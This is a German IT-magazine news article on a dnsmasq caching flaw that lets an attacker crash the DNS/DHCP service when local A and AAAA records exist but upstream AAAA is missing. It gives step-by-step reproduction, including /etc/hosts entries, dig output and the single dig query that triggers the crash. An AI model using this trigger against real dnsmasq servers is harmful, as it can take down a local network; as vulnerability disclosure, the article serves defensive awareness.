Open Source im professionellen Einsatz

Dnsmasq: Fehler im Caching führt zu Absturz

Dnsmasq ist ein DNS- und DHCP-Server für kleinere Netzwerke. Zunächst löst dnsmasq Namen immer lokal über die »/etc/hosts«-Datei auf. Noch unbekannte Namen werden auf den Upstream DNS-Server weitergeleitet und von diesem bearbeitet. So aufgelöste Namen werden dann in einem Cache gespeichert. Eine kürzlich entdeckte Schwachstelle in dnsmasq führt dazu, dass ein Angeifer den Dienst zum Absturz bringen kann. Dies liegt dann das lokale Netzwerk praktisch lahm.

Das Problem tritt immer dann auf, wenn für einen bestimmten Host lokale A- und AAAAA-Records definiert sind, aber nicht auf dem Upstream-Server. Konkret heisst dies, dass lokal in »/etc/hosts« sowohl IPv4- als auch IPv6-Adressen für einen bestimmten Host definiert sind, aber für denselben Host beispielsweise kein DNS AAAA-Resource-Record abgelegt ist. Dies bringt dann den Caching-Mechanismus von dnsmasq durcheinander, so dass es zum Absturz kommt. Der Fehler kann leicht reproduziert werden. Dazu der Autor des Fehlerreports eine spezielle Domain angelegt: broken-record.chickenkiller.com. Zum reproduzieren des Crashes sind nun folgende Schritte notwendig.

Zunächst muss eine virtuelle Maschine mit statischer IPv4- und IPv6-Adresse aufgesetzt werden. Der Hostname muss dabei auf broken-record lauten, d.h. in »/etc/hostname« steht: »broken-record«.

Dann  müssen die IPv4- und IPv6-Adressen in /etc/hosts abgelegt werden:

127.0.0.1 localhost.localdomain localhost
::1 ip6-localhost ip6-loopback fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
ff02::3 ip6-allhosts
<ipv4-address> broken-record.chickenkiller.com broken-record
<ipv6-address> broken-record.chickenkiller.com broken-record

Das Beispiel hier ist under Ubuntu aufgesetzt, welches dnsmasq wie folgt aufruft:

/usr/sbin/dnsmasq -x /var/run/dnsmasq/dnsmasq.pid -u dnsmasq -r /var/run/dnsmasq/resolv.conf -7 /etc/dnsmasq.d,.dpkg-dist,.dpkg-old,.dpkg-new --local-service --trust-anchor=.,19036,8,2,49AAC11D7B6F6446702E54A1607371607A1A41855200FD2CE1CDDE32F24E8FB5

Der DNS-Eintrag von broken-record.chickenkiller.com sieht nun wie folgt aus:

mark@tux ~ $ dig crashme.broken-record.chickenkiller.com 
 ; <<>> DiG 9.9.5-3ubuntu0.8-Ubuntu <<>> crashme.broken-record.chickenkiller.com 
;; global options: +cmd ;; Got answer: 
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 19030 
;; flags: qr rd ra; QUERY: 1, ANSWER: 2, AUTHORITY: 0, ADDITIONAL: 0 
 ;; QUESTION SECTION: ;crashme.broken-record.chickenkiller.com. IN A 
 ;; ANSWER SECTION: 
crashme.broken-record.chickenkiller.com. 2700 IN CNAME broken-record.chickenkiller.com. broken-record.chickenkiller.com. 2700 IN A 10.91.189.6 
 ;; Query time: 3 msec 
;; SERVER: 127.0.1.1#53(127.0.1.1) 
;; WHEN: Sat Jun 11 22:27:49 EDT 2016 
;; MSG SIZE rcvd: 118 

D.h. es gibt hier keinen AAAA-Eintrag. Damit sind alle Voraussetzungen für den Absturz von dnsmasq gegeben. Der Crash selbst lässt sich dann einfach über

dig @127.0.0.1 crashme.broken-record.chickenkiller.com. AAAA

auslösen. 

comments powered by Disqus

Stellenmarkt

Artikelserien und interessante Workshops aus dem Magazin können Sie hier als Bundle erwerben.